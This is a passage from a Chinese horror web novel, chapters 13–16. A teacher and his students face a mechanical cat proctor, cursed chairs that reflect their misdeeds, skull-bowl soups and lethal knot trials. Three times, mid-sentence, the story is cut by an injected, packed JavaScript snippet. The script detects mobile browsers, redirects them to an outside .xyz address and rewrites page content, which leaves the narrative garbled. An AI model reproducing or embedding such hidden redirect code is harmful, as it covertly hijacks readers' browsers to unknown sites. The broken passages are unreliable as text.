一张巨大的、布满刀劈斧凿般深刻划痕的长条木桌摆在那里。 桌子的正中央,端端正正地坐着一只橘猫。 它体型圆润,橘白相间的毛发在昏黄灯光下显得油光水滑。 一条蓬松的尾巴优雅地卷在身前,琥珀色的猫眼在昏暗光线下闪烁着古怪的光泽。 大厅里落针可闻,只剩下学员们压抑不住的粗重喘息。 没有人敢坐下,甚至没有人敢大声呼吸。 所有人的目光,在橘猫和官酉之间来回逡巡,又最终都凝固在官酉身上。 他们在等待着官酉的反应,或者说指令。 橘猫缓缓地抬起一只前爪,慢条斯理地舔舐着粉嫩的肉垫。 它琥珀色的眼珠缓缓转动,眼神落了站在最前方的官酉身上后,眼皮轻轻一眨。 然后,一个清晰的,冷静的,甚至带着一丝审视意味的声音,从三瓣儿嘴里吐了出来。 “你,就是这次的带队教师?” 13. 中国结(13) 官酉既没点头,也没摇头。 那橘猫无论是皮毛纹理、还是嘴套的大小或者饱满程度,甚至眼瞳的形状和光泽,都逼真得足够以假乱真。 然而—— 官酉的目光直直落在橘猫的眼睛上。 那双琥珀色瞳孔的深处,有一丝极其细微、非自然的绿色数据流光,正毫无遮掩的、规律地闪烁、流动,潜藏在虹膜的纹理之下。 那不是生物电信号,而是数字编码! 官酉微不可查的倒吸一口凉气,一个判断瞬间跃上心头。 这不是真猫,而是和“咪呜咪呜”一样的机械造物! 身后学员的抽气声此起彼伏,压抑的哭腔混在其中。 连一贯冷静的夏铭也猛地倒吸一口凉气,那声音在死寂的大厅里显得格外刺耳。 官酉微微侧脸,刚平复的心中又掠过一丝意外。 一只机械猫而已,为什么会引发如此剧烈的恐慌? 空气粘稠得仿佛凝固的油脂,尘埃混合着木头朽坏的陈腐气味,沉甸甸地压在每个人的胸腔上。 “初次见面。”橘猫优雅的欠了欠身,声音平稳无波,如同设定好的程序音,“希望你能在这次的教学之旅,玩得愉快。” 官酉的心沉入了谷底。 这只橘猫的话里,字字句句都昭示着,他完全不是这群学员先前猜测的那个人! 甚至,他此刻就能清晰感知到身后汇聚而来的目光——恐惧的、愤怒的,还有炽热无比的审视。 冒充那个恋手癖前任的把戏……露馅的可真快啊…… 官酉的眼神暗了暗,有些感慨,却没有丝毫在意。 暴露了又能如何? 青石板路上发生的一切都在告诫着他们,只有教师身边才是真正的安全区! 教学楼可不是什么安全地。 他们如果想要活命,除了跟紧他,别无他法。 橘猫没再看他。 它的目光越过他,在后方瑟缩的学员群中缓缓逡巡。 最终,落在队伍末尾——那个姿态依旧闲适得格格不入的章著金身上。 仅仅一瞬,它琥珀色的瞳孔骤然收缩成一道危险的竖线。 浑身蓬松的毛发根根炸立,背脊高高拱起,喉咙深处滚出低沉却充满威胁性的呼噜声。 右前爪不安的摩擦着桌面,耳朵背成飞机耳,一脸凶相。 学员们瞬间如惊弓之鸟,下意识绷紧身体,摆出防御姿态。 夏铭的手更是按上了腰间的武器,眼神锐利,似乎随时就要动手。 刘楚恬却按住了她的手腕,微不可查的摇了摇头。 橘猫猛地从布满深刻爪痕的桌面跃下,肉垫落地无声。 它以迅雷之势冲向章著金,又在堪堪触及他小腿时急刹—— “咚!” 圆滚滚的脑袋不轻不重地撞上章著金的胫骨,沉闷声响在空旷中回荡。 它吸着鼻子,眼泪汪汪地绕着章著金缓慢踱步,鼻翼急促翕动着,像是在确定什么。 “好熟悉又陌生的气息,我们见过吗?” 好半晌,橘猫在章著金脚边停下,后腿弯曲着坐下,仰起僵硬的脖子,狐疑地盯住他。 “没有哦~” 章著金甚至懒得低头,嘴角噙着一丝漫不经心的笑意,语气轻飘飘的,像在讨论无关紧要的晚餐菜单。 橘猫僵硬的脑袋歪了歪,眼睛直愣愣章著金,眼珠子忽然开始在眼眶里胡乱打转,肚子里发出高亢的呼噜噜的声响,像是识别到什么错误BUG一样。 官酉的心瞬间提到了嗓子眼。 不好! 这只橘猫在评估章著金是否是游戏里蹿入的BUG数据! 他下意识地绷紧身体,一步踏前—— 就在他几乎要冲过去的瞬间,橘猫胡乱转动的眼珠倏地停滞。 奶呼呼的眼皮上下一眨,所有异常状态瞬间清零,恢复了可可爱爱却又奇奇怪怪的模样。 “交互记录:零。身份验证通过,非BUG程式,无需就地清除。” 它几不可察地点了下头,声音重新变得冰冷平滑,“欢迎新同学加入学院系统。” 话音未落,橘猫咻地扭身,后腿用力在地上一蹬,整只猫凌空而起,轻巧的落回伤痕累累的桌面。 两只前爪狠狠地碾过桌面,留下两道深深的抓痕。 橘猫转过身,尾巴扫过桌面,扬起不少陈腐味的灰尘。 它转过身,面向噤若寒蝉的学员,伸出粉嘟嘟的舌头,舔了舔左前爪。 “员身份确认完毕。我是本次课堂督查,代号:大橘子。” 橘猫清了清嗓子,平静的宣读着规则。 “课堂纪律即是本轮游戏核心运行协议。” “违反协议条款,记过一次。累计记过达到三次阈值——” 橘猫轻笑一声,“即判定为课堂考核失败,启动补考程序,自动归为下一轮课堂的替补学员。临时使用身份为——教学耗材搬运工。” 每个字都像冰冷的铁块砸在地上。 官酉明显听到身后,除了章著金的7个学员都呼吸一窒,似乎被这句话扼住了喉咙。 空气瞬间凝滞。 他微不可查的皱了皱眉。 “教学耗材搬运工”? 能引起他们这么大的反应,应该不止是简简单单的“搬运材料”? 那会是什么呢? “纪律单贴于每间宿舍门后,上课前必须背熟。每天上课的第一时间,我将抽查背诵。” “本次学习时长为四天三晚。每日学习时间:早8点至11点,下午1点至5点,晚修7点至11点。” “现在宣布当前时间——” “4月4日,24点整——” 斑驳的深色石墙上,毫无征兆地扭曲、溶解,一座巨大无比的石英钟凭空浮现。 钟面上,时针和分针如同被无形之手疯狂拨弄,以肉眼可见的速度飞速倒转! 滴答...滴答...滴答...嗒嗒嗒嗒嗒—— 指针高速旋转的声音在死寂的大厅里异常刺耳,像倒计时的丧钟敲在每个人的心口。 学员们惊恐地看着这违反常理的一幕,神色仓皇,表情震惊。 最终,时针与分针在冰冷的罗马数字“XII”上狠狠咬合! “铛——!!!” 一声沉重、悠远的钟鸣骤然响起,震得整个大厅嗡嗡作响,灰尘簌簌落下。 无形的音波穿透耳膜,直抵灵魂深处,带来一阵心悸的眩晕。 零点,又一次到了。 官酉瞳孔骤缩,一股寒意从脊椎骨直窜天灵盖。 这栋楼不仅能肆意扭曲空间,竟连时间也能玩弄于股掌之中。 这意味着,他将失去对时间流逝的基本判断。 可这次的课堂又是以时间为课堂划分的节点。 这样的安排下,制作方真的希望有人能活着离开课堂吗? 他指腹无意识地重重摩挲着腰间冰冷的小蜜蜂外壳。 必须活下去! 科研、论文、章知白…… 他需要尽快找到一个能锚定这疯狂时间流的方法。 橘猫对众人濒临崩溃的惊骇置若罔闻。 它抬起前爪,在那布满新旧抓痕的桌面上不轻不重地拍了拍,宣判了接下来的安排。 “现在给你们分配宿舍。” 冰冷的字眼砸落,大厅的温度仿佛又骤降了十度。 “规则是——” 它琥珀色的瞳孔扫过每一张因恐惧而扭曲的脸,一字一顿: “试、胆、大、会。” 话音落下的瞬间,官酉脚下坚实的地面猛地一软,如同骤然踩进了沼泽,向下塌陷! 嗡——! 空气发出不堪重负的、低沉而持续的悲鸣。 四周斑驳的深色石墙开始像融化的蜡烛般剧烈扭曲、拉伸,怪异地向着无尽的黑暗深处退去。 墙上的石英钟和那幅描绘着扭曲人形的褪色挂毯,在视野中急剧缩小、变形,如同坠入噩梦的深渊。 “等等,这又是什么!”童话惊叫出声。 官酉猛地回头。 九张造型迥异、散发着不祥气息的座椅,逐渐从阴影里凝结出的实体,毫无征兆地凭空出现在昏黄摇曳的光线下,围绕着那张布满爪痕的长桌,排成一个半开口的的圈。 “九个人,九个座位。” 橘猫的声音穿透空间的异变,清晰得如同贴在耳边。 “宿舍一共有五间。两人合住一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一把完全由森白骨骼拼接而成的座椅,从扭曲的胸椎、腰椎,一直延伸到大腿骨的形状,坐垫位置赫然是两片骨盆。 一把黑漆漆的椅子,仿佛一个微型黑洞,贪婪地吞噬着周围本就昏黄的光线。 一把扭曲盘旋成蛇形的座椅,通体覆盖着冰冷的黑色鳞片,蛇头昂起,空洞的眼窝正对着选择者。 一把由墨绿色、长满尖刺的荆棘缠绕而成的椅子,荆棘丛中却反常地盛开着无数娇嫩欲滴的鲜红小花。 一把纯白色的布艺沙发,柔软的坐垫中央却诡异地凹陷下去,形成一个边缘参差、宛如正在无声嘶吼的血盆大口。 一把表面布满密密麻麻、不断开合转动的浑浊人眼的椅子,每一次眨动都留下湿滑的痕迹。 一把完全由无数只僵直、青灰、向上伸展的手臂交缠而成的座椅,指尖兀自微微抽搐。 似乎每一把都在沉默却嚣张地散发着各自独特的恶意。 倏地—— 他的视线落在了左数第一把椅子上。 那把椅子…… 它太“正常”了。 老旧褪色的原木色,线条简单到近乎简陋,朴素的木质纹理在昏光下清晰可见。 在一片妖异狰狞、散发着强烈存在感的座椅包围中,它安静得像个异类,像污浊泥沼里一块过分干净的石头。 也正是这份突兀的、近乎刻意的“普通”,在官酉眼中透出一种令人脊背发凉的毛骨悚然。 污泥之中,焉有完卵? 官酉拿不定主意,眼里也浮现出一抹淡淡的挣扎来。 也许……越危险越安全? 它背后所代表的试胆方案,会不会恰恰是最直接、最简单的? 这个念头刚冒出来,那椅子仿佛拥有了生命般的魔力,牢牢黏住了他的视线,无法挣脱。 紧接着,一个稚嫩的、带着空灵感的童声,悄然钻入他的脑海,混着他自己压抑的呼吸节奏,一遍遍固执地低语、哀求:“选我,快选我,求求你选好……” 鬼使神差地,官酉抬起手,指尖笔直地指向那把看似无害的椅子,声音在寂静中异常清晰: “我选它。” 14. 中国结(14) 室内瞬间陷入一片死寂。 没人说话,没人敢用力呼吸。 空气粘稠如胶,每一次微弱的抽气声都清晰可闻。 所有人的目光齐刷刷落在官酉身上,眼神里翻涌着焦灼、惊愕,以及一种强烈到近乎荒谬的不敢置信。 仿佛他指尖点中的并非一把寻常座椅,而是一扇通往地狱的入口。 “你……”秦狩沙哑粗粝的声音率先打破沉寂,如同砂纸摩擦过锈铁,带着一丝难以压制的颤抖。 他死死盯着官酉手指的方向,额角青筋突突直跳,仿佛那里盘踞着择人而噬的凶物。 “你确定你没选错吗?” 官酉收回手,目光沉静地垂落,指尖无意识地互相捻了捻。 看来,他的选择,远超出这些人的心理预期了? 真有意思…… 不知在他这些学员们的眼中,那究竟是副什么光景? 他唇角几不可察地勾起一丝冰冷的弧度,没有回头,声音异常平稳,像在探讨一个学术问题:“在你眼里,它长什么样?” “深渊巨口!”秦狩几乎是从牙缝里迸出这四个字,喉结艰难地滚动了一下,脸色发青,“腐烂的肉壁淌着黄绿色的粘液,滴答作响……那恶臭……熏得我……喘不过气。” 他顿了一下,神色复杂:“老师,我不明白,你是怎么做到在一群普通椅子里选出唯一一张最恐怖的。” “扯犊子呢!” 周昌南猛地瞪圆了眼,像被毒蜂蜇了般跳脚,声音陡然拔高八度。 “老秦你他妈眼瘸了?!那玩意儿在我这儿明明就是一堆眼珠子!” “囫囵个的,爬满血丝,还在那儿滴溜溜地转!邪门透了!” 他边说边疯狂搓着胳膊,皮肤上瞬间冒出一片鸡皮疙瘩。 秦狩猛地扭头看向周昌南,脸上写满了震惊。 他太了解这莽汉,一根筋通到底,撒谎?不存在的。 可两人所见为什么能差这么多? 夏铭紧蹙的眉头拧成了一个结。 秦狩看见腐肉巨口,周昌南看见乱转的眼球,而她……只看到一副冰冷森然的半身枯骨。 三个人,三种截然不同的景象……这可不是什么好兆头。 她正欲开口召集众人交换信息,衣袖忽然传来一阵微弱的拉力。 低头一看,是刘楚恬那张惨白的小脸。 她怯生生地躲在夏铭身后,手指紧紧攥着夏铭的衣角,指尖发白。 更让夏铭意外的是,童话和魏莱不知何时也紧挨在刘楚恬身后。 夏铭心中掠过一丝难以名状的异样感,像是平静湖面投入了一颗小石子,荡开一圈涟漪。 刘楚恬的慢热和内向她是知道的。 自从进入这鬼地方后,小丫头几乎只和自己有交流,怎么会突然和童话、魏莱如此亲近? 她压下疑虑,维持着一贯的冷静,声音尽量放柔:“怎么了,小恬?” 刘楚恬飞快地瞥了一眼仍在争执的秦狩和周昌南,又像受惊的兔子般缩回夏铭身边,声音细若蚊呐,带着点哭腔:“夏姐姐……我们三个看到的……跟他们都不一样……” 她咽了口唾沫,艰难地补充,“我……我看到一大团……黏糊糊、血淋淋的内脏……还在……还在蠕动……” “魏莱说她看见的是黄腻腻的脂肪……童话……童话说那是个黑漆漆的洞……一点光都没有……深不见底……像要把人吸进去……” 她越说越激动,呼吸急促,仿佛下一秒就要被那恐怖的记忆淹没窒息。 “别怕,看着我。”夏铭立刻按住她的肩膀,声音清冷沉稳,带着不容置疑的安抚,“吸气。屏住。吐。跟着我的节奏来。” 她缓慢而清晰地示范着呼吸。 在夏铭的引导下,刘楚恬急促的喘息终于渐渐平复,但身体依旧控制不住地微微颤抖。 她的手还紧紧攥着夏铭的衣角,眼底的恐惧未消:“是,是幻觉吗?” “不是幻觉。” 夏铭沉默了一瞬,摇了摇头。 她的目光扫过秦狩、周昌南,以及挤在一起的三个女孩,最后定格在官酉的背影上,语气斩钉截铁。 “我看到的,是一副白骨。一副……像是被活生生剔净了皮肉的半身枯骨。” 她的声音不高,却清晰地传入每个人耳中。 “操!”周昌南烦躁地挠着他那寸头,百思不得其解,“这他娘到底搞什么鬼?一个破椅子还能七十二变不成?” “老秦看见烂嘴,老子看见眼珠子,你们仨丫头片子看见心肝脾肺肾黑洞,夏姐你又看见骨头架子?” “明明一整片的普通椅子,老师你怎么就喜欢挑战不可能呢!” “哎刘立涛!别装死!你看见啥了?” 一直阴沉着脸沉默的刘立涛,闻言抬起头,从牙缝里冷冷挤出几个字:“结缔组织。遍布的筋膜和血管网。” 官酉静静地听着,眼底掠过一丝兴味儿。 七个人,七双眼睛,聚焦于同一处,却映射出种七截然不同、但都令人作呕的恐怖形态? 这个试胆大会可真的越来越有意思了。 官酉身侧传来一丝微不可察的气流扰动。 他微微侧目,章著金已无声无息地贴了过来。 距离近到,他能嗅到对方身上那丝若有似无的、与周遭腐朽气息格格不入的冷冽气息。 “教授啊~”章著金的声音带着惯有的轻佻慵懒,尾音黏腻地拖长,语气暧昧得令人不适。 他那双漂亮的桃花眼先是饶有兴致地扫过官酉指向的那把椅子,又缓缓移回官酉脸上。 他的嘴角勾起一抹似笑非笑的弧度,带着毫不掩饰的戏谑:“瞧瞧您这手点的……啧啧,多冒昧的‘座位’啊……” 官酉眉头几不可察地一蹙。 “冒昧”? 这个词在此刻的语境下,显得格外刺耳且别有深意了。 他眯了眯眼,乜向章著金:“你呢?章著金,他们可都看见了奇奇怪怪的东西了。你看见了什么?” 章著金像是听到了一个极其乏味的问题,随意地耸了耸肩,双手悠然插回熨帖的西装裤兜,姿态闲适得与周遭紧绷如弦的氛围格格不入。 他漫不经心地瞥了一眼那个目之所及,各有不同的位置,语气平淡无波,甚至带着点理所当然的无辜:“椅子啊。一把普普通通、毫无特色的原木椅子罢了。能有什么特别的?” 他说着,眼波流转,轻飘飘地扫过一张张惊疑不定的脸庞,桃花眼里闪过一丝玩味:“毕竟,我这人呐……心思单纯,比不得在座诸位……个个‘深不可测’……” 话音落下的瞬间,仿佛有实质性的寒气在空气中炸开。 所有人的脸色倏然剧变,看向章著金的眼神不再是惊疑,而是瞬间盈满了被戳破隐秘的惊怒与敌意! “章著金!”周昌南的怒火瞬间被彻底点燃,他一步踏前,拳头捏得咯咯作响,眼里的凶光几乎要喷出来,“操你大爷的!老子忍你这阴阳怪气的语调很久了!你他妈到底想说什么?!” “字面意思啊。”章著金摊开双手,脸上笑容依旧灿烂,眼神却幽深得如同寒潭,“谁知道你们眼前那堆心啊肝啊眼啊洞啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894873|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,是不是……正映着你们自个儿干过的‘好事’呢?” 官酉的瞳孔骤然收缩,锐利的目光紧紧锁住章著金。 椅子呈现的景象……与他们做过的事有关? 那些器官、枯骨、黑暗……映射的是各自的……罪孽? 橘猫声音恰在此时响起:“试胆大会-座位选择结束。” 它的话音刚落,面签半圈九把椅子猛的震了一下。 空气仿佛凝固了几秒。 紧接着,一片压抑的抽气声此起彼伏,众人脸上血色尽褪,写满了极度的震惊、不甘与一种被愚弄的羞愤。 秦狩紧咬的腮帮线条生硬,周昌南瞪着眼珠张着嘴,夏铭眼神复杂闪烁,刘楚恬等人更是面色煞白—— 他们眼里的八把木椅消失了,取而代之的是他们刚刚提到的所有椅子种类。 而刚刚被他们指认成他们“所见”种类的椅子却悄无声息的变回了普通木椅。 “玩儿我们呢!”周昌南忍不住咒骂了一句。 官酉对这个结果没有丝毫意外。 身为教师,他在刚刚看过去的时候使用了教具【教师眼镜】。 【教师眼镜(绿色三星):一款看似平平无奇的眼镜呢!不过千万别小瞧了它,能看破迷雾,直选真相哦!】 【备注:本道具无使用次数限制。】 那章著金呢? 官酉看了过去—— 章著金嘴角依旧噙着一丝若有似无的弧度,同样是一副波澜不惊、了然于胸的神情。 官酉愣了一下。 他为什么也如此镇定? 难道助教也拥有和教师类似的,能看透虚假的道具吗? “‘教授’及‘学员’——”橘子猫冰冷的声音带着不容置疑的命令再度响起,“请立即落座。” 一股无形的压迫感笼罩下来。 纵有万般不甘,众人也只能咬着牙,如同提线木偶般,动作僵硬地走向自己亲口说出的椅型。 脚步声迟缓而沉重,拖沓在死寂的空气中。 场中瞬间空荡,唯剩两把椅子突兀地伫立着。 一把是平平无奇,被官酉和章著金同时指认过的木椅。 而另一把则是根本无人提起过的真皮椅。 空气再次绷紧如弦。 所有人的目光在仅剩的两人和两把椅子之间来回逡巡,好奇与惊疑几乎要凝成实质。 这两个做出完全相同选择的人,面对这唯一一张无人窥见的座椅,究竟……谁会坐上去?或者说,谁会被迫坐上去? 答案有时候来得猝不及防。 章著金先动了。 他双手漫不经心地插回裤兜,顶着全场聚焦的目光,嘴角噙着那抹惯有的似笑非笑,迈开长腿,竟径直走向了那张无人窥见的真皮沙发。 神态之坦然自若,步伐之从容不迫,仿佛走向的不是一个被所有目光避之在外的座椅,而是他早已心知肚明、理应归属的专属王座。 他姿态优雅,微微倾身,手甚至已经抚上了那冰冷光滑的真皮扶手,准备坐实这“众望所归”。 重心下沉的刹那—— 一只骨节分明的手猛地探出,扣住了他细瘦的手腕。 章著金整个落座的动作戛然而止。 他愣了一下,微低着头,视线落在扼住自己手腕的那只属于官酉的手上。 片刻后,他缓缓抬起头,直直望向官酉近在咫尺的深沉眼眸。 脸上一直挂着的那点玩世不恭的慵懒瞬间褪尽,只余下一层冰冷的审视。 薄唇轻启,吐出两个音节:“教授?” 15. 中国结(15) 官酉的心脏猛地一缩,指尖仿佛被那滑腻肤感灼烫了一下,下意识地想要蜷缩起来。 理智在他的脑子里咆哮:放手!立刻放手!他是章著金!不是章知白! 可那只手却像有自己的想法一样,依旧死死扣住章著金的手腕,指节因用力而绷紧发白。 又是这样! 官酉的心沉甸甸地坠了下去,后背瞬间爬上一层薄薄的冷汗。 在面对章著金主动选择危险时,他那保护“章知白及其关联物”的本能,又一次以压倒性的姿态,蛮横地碾过了理智的分析和判断。 众目睽睽之下,他无法轻易放手,更说不出任何安抚或解释的话语。 沉默在两人之间蔓延,如同绷紧的弦,顷刻即断。 挣扎了片刻,他才极其艰难地从喉间挤出几个字:“你疯了吗” 话辅一出口,后续便显得顺理成章了起来:“每把椅子对应着什么,你又不清楚了?” 章著金嘴角极其细微地向上扯动了一下,那点弧度里混杂着几乎难以察觉的恶意和一丝……被挑起的兴味。 他非但没有挣脱,反而顺着官酉的钳制,微微俯身,主动将距离拉得更近。 冰冷的气息如实质般拂过官酉的面颊。 “教授啊……” 他的声音压得更低了,像柔软的羽毛搔刮着最敏感的神经,带着一种刻意蛊惑的沙哑。 “您的手心……在出汗呢。” “为了谁……这么紧张?” 官酉的瞳孔骤然收缩,细微得几乎无法捕捉。 章著金的目光始终注视着官酉,嘴角的弧度在缓慢上扬,逐渐形成一个完美的弧度:“是在担心那个……可能和我共享过某些‘独特’体验的人?” “你……!” 官酉的呼吸猛地一窒,扣住对方手腕的力道下意识地加重了几分。 一股混杂着强烈担忧与被戳穿的怒火在胸腔里激烈冲撞。 他几乎是立刻就想甩开这烫手山芋,但那只手依旧像焊死在对方腕骨上一样,纹丝不动。 官酉清晰地意识到,是那股保护“章知白相关”的深层本能,在蛮横地掌控着局面。 要想让这该死的手放开,似乎只有一个方法——让章著金安全地坐到那把木椅上。 他强迫自己定了定神,声音带着命令式的冷硬,试图掩盖那丝不易察觉的急切:“去坐那把木椅。” “那是你最初的选择,它不会拒绝你落座。” “呵。” 章著金发出一声轻不可闻、却充满了嘲弄意味的气音。 他的眼底闪过一丝稍纵即逝的讥诮。 紧接着,他的手腕以一种超越人体极限的柔韧角度倏然旋转、滑脱,动作流畅得如同没有骨节的软体动物。 官酉只觉得指间一空,那滑腻的触感瞬间消失。 “教授啊……” 章著金已经安坐于那张布满暗红色撕裂口的肉色真皮沙发之中。 他慢条斯理地整理着被官酉攥出褶皱的衣袖,左腿自然的搭在右腿上,腰背挺直,慢条斯理的整理着被弄的有些凌乱的衣袖。 他抬起眼,望向僵在原地的官酉,那双桃花眼重新盈满了那种慵懒的、近乎无害的笑意,仿佛刚才的对峙从未发生。 “您知道的。” 他拖长了调子,声音陡然拔高,带着一种浮夸的、戏谑的腔调,清晰地回荡在寂静的大厅里。 “硬要把一个清醒的人按倒,那叫动粗。可硬要把一个自得其乐待着的人揪起来……” 他微微歪头,笑的更加灿烂了:“那可就是……您不讲规矩了哦!” “……” 官酉伸出的手还停留在半空,所有未出口的质问都堵在喉咙深处,指间只剩下挥之不去的冰冷滑腻的错觉。 他仿佛被无形的钉子钉在了原地,只能眼睁睁看着章著金在那危险的座椅上安之若素。 片刻后,他几不可闻地叹了口气。 “好吧。” 他走向那把看似安全的木椅,坐了下去,目光却未曾离开沙发上的章著金。 “他曾经告诉过我,要尊重每个个体的选择。毕竟这是他们自己为自己选定的人生脚本。” “现在,我把这句话送给你。” “记住你自己的选择。” “别后悔。” 几乎在官酉落座的瞬间—— “啪!” 橘猫高高扬起的尾巴朝桌面鞭下,裹挟着令人头皮发麻的破空声,狠狠抽击在伤痕累累的桌面上。 力道之大,震得桌腿都发出不堪重负的呻吟。 没有预兆,没有缓冲。 刺目的白光瞬间从桌面的裂痕处炸开,带着灼烧般的刺痛感,瞬间吞噬了所有人的视野。 官酉下意识的调整了下眼镜,镜片变白的瞬间,刺目的光芒骤然消散。 他清楚的看见,桌面中央,五只碗和这大厅里面曾经出现过的一切一样,凭空出现了。 官酉忍不住腹诽:大厅是属哆啦A梦的吗?这么能变? 刺目的白光终于散开,所有人挪开了遮目的手,而后倒吸一口凉气。 桌面中央的五只碗,不是温润的骨瓷,也不是粗粝的石碗。 而是……某种生物的颅骨。 碗身呈现出一种惨白与暗黄交织的骨质,布满了细密的的皲裂纹路。 碗口边缘粗糙且不规则的,仿佛是被暴力捶打撕扯开,残留着丝丝缕缕的骨质茬口。 官酉的瞳孔一缩,一股强烈的寒意瞬间攥住了他的心脏。 这是人骨。 不是模型,更不是道具。 是真正剥离自人体的颅骨,被粗暴地改造为容器。 他猛地抬眼,锐利的目光如探针般扫过桌边每一个学员的脸孔。 所有人都死死的盯着那五只碗,面上的表情精彩纷呈,有凝重,有警惕,有压抑的恐惧。 却唯独没有那种面对同类骸骨被亵渎时,应有的、最本能的震惊与愤怒。 这不应该! 无论在何时何地,人体承载着不可亵渎的尊严。 每一根骨骼,每一寸组织,都应该被好好的对待,而不是被如此粗暴地挖出、切削,沦为盛放污秽的器皿! 而身为同类,都应该对这种行为存在本能的愤怒,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919450|172298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是表现的如此“麻木”! “嗒。” 橘猫尾巴那蓬松的末梢轻轻点在桌面木纹之上,一声轻响,脆得反常。 仿佛按下了某个无形的开关。 下一秒,五只惨白的颅骨碗口,凭空蒸腾起缕缕氤氲的雾气。 那雾气并非纯粹的白色,而是混杂着模糊的灰与暗黄,带着一种沉闷的、带着腥气的湿热感,黏糊糊的沾上每个人的眼睫,模糊掉视线。 而就在视线被模糊掉的刹那—— 碗底,无声无息地“生长”出液体。 没有源头,没有涟漪,只是静默地向上漫溢,直至填满碗的边缘。 官酉的视线穿过透明镜片平静的看着眼前这诡异的一幕,甚至仔细观察起每一碗来。 从左边数,第一碗的汤水粘稠浓厚,颜色暗红近黑,如同凝固在伤口分泌物。 碗里有无数细密浑浊的颗粒在汤液中沉沉浮浮。 第二碗的汤水呈污浊的黑棕色,表面漂浮着一层如同重金属汽油污在烈日下的五彩斑斓的虹光。 碗中央漂浮着几个拳头大小、惨白且凝固成块的斑块组织,正散发着油脂腐败气息。 第三碗的汤水呈现出一种死气沉沉的灰白浑浊色。 它的表面并非平滑,而是凝结出一层薄薄的半透明胶膜。 在热气的熏蒸下,不断的收缩扭曲扩张,变化出万千种不规则的形状。 第四碗的汤体呈稀薄的、带着点粉色的浑浊液体。 汤面漂浮着大片大片粘稠、暗红色的絮状沉淀物,不断下沉又被涌动托起。 第五碗的汤色如同半凝固的、暗紫红色的浓稠血浆凝胶。 碗的内壁布满了蛛网般虬结、粗壮、搏动起伏的青黑色网络,半沉进汤里,冒出一点黑乎乎的尖头。 橘猫优雅地收回尾巴,坐在桌沿之上,琥珀色的眼睛扫过众人的面孔,右耳轻轻一颤,抖落下两簇浅浅的绒毛。 “汤已煮沸。”橘猫缓缓开口,声音平滑,听不出一点起伏。 “一共五碗。两人一组,自由分配。” “钥匙……就黏附在碗底。” “当你们分喝完这一碗汤时,钥匙和房间号便会出现,届时可以按照房间号各自回去休息。” 它停顿了一瞬,眼眸沉沉的扫过每个人的面孔,湿漉漉的鼻尖轻轻一耸。 “用汤时……会发生一些有趣的‘小插曲’。” “有人会胡言乱语,有人会忍不住在自己身上留下点小记号,还有人……可能会看到一些……特别怀念的老朋友。” “但是请不用担心——”它的声音陡然拔高,尾巴尖愉快地摆动了一下,“试胆大会的宗旨是挑战胆量,而非收割性命。不会出现伤亡……至少,不会立刻出现。” 这补充非但没有带来安慰,反而像一层更厚的寒冰,覆盖在每个人的心口。 不会立刻出现?那之后呢? 橘猫的目光最终落在官酉身上,又轻飘飘地滑过靠在真皮沙发里、嘴角噙着看戏般笑意的章著金。 “现在,”它缓缓点头,“请各位学员及老师……选择并享用你们的试胆之饮。” 16. 中国结(16) “本次试胆大会,又叫‘直面本真’。” 橘猫迈着四条毛茸茸的长腿,在虚空中闲庭信步,肉垫踏过之处,留下微不可查的涟漪。 它的声音平稳无波,却在空旷死寂的大厅里激起阵阵寒意。 “游戏共分两轮,第一轮,选择权。” “座椅是你们选择试胆考核的方式。一共有两种,言辞与操作。”它顿了顿,琥珀色的眼珠扫过悬吊的众人,“当你们选定了考核方式,座椅便会幻化成考题,也就是此刻束缚你们的绳索,将考题——或者说,你们的‘本真’——具象于眼前。” 官酉心头一凛,镜片后的目光瞬间锐利起来,扫过半空中姿态各异的同伴。 所有人被悬吊的姿态,与他们当初被迫坐进那些恐怖椅子时的扭曲模样,分毫不差、 那些椅子并未消失,它们只是化作了这些勒进皮肉、深可见痕的活物般绳索,将每个人死死捆缚在无形的刑架之上,将选择的“代价”刻入骨肉。 “看见你们身上的绳结了吗?” 橘猫湿漉漉的鼻尖微微抽动,粉嫩的舌尖探出,轻轻点上自己冰凉的鼻尖。“每一个结,都对应着你们做过的一件‘事’,或者一道正确的考题。而离开这里的宿舍钥匙,就藏在唯一一个正确的考题结里。” 它停顿了一下,尾巴尖在空中划出一道凌厉的破风声,指向官酉脖颈处的绳结。 “只有你们正确回答出藏有钥匙的那个结内提问,束缚才会解开,钥匙才会出现。” “如果选错了结……”它的声音陡然下沉,“能解开,算你本事,结消无事。但若是解不开……” 尾巴尖猛地向下一劈! “绳结收缩,直至骨肉成泥,滋养考题。” 最后几个字带着冰冷的血腥气砸落。 众人呼吸瞬间停滞,空气仿佛凝固成铅块。 就连一向暴躁的周昌南都短暂地哑了火,脸上血色褪尽。 这哪里是试胆?分明是血肉磨盘上的死亡轮赌! 官酉的眼神也彻底沉了下去。 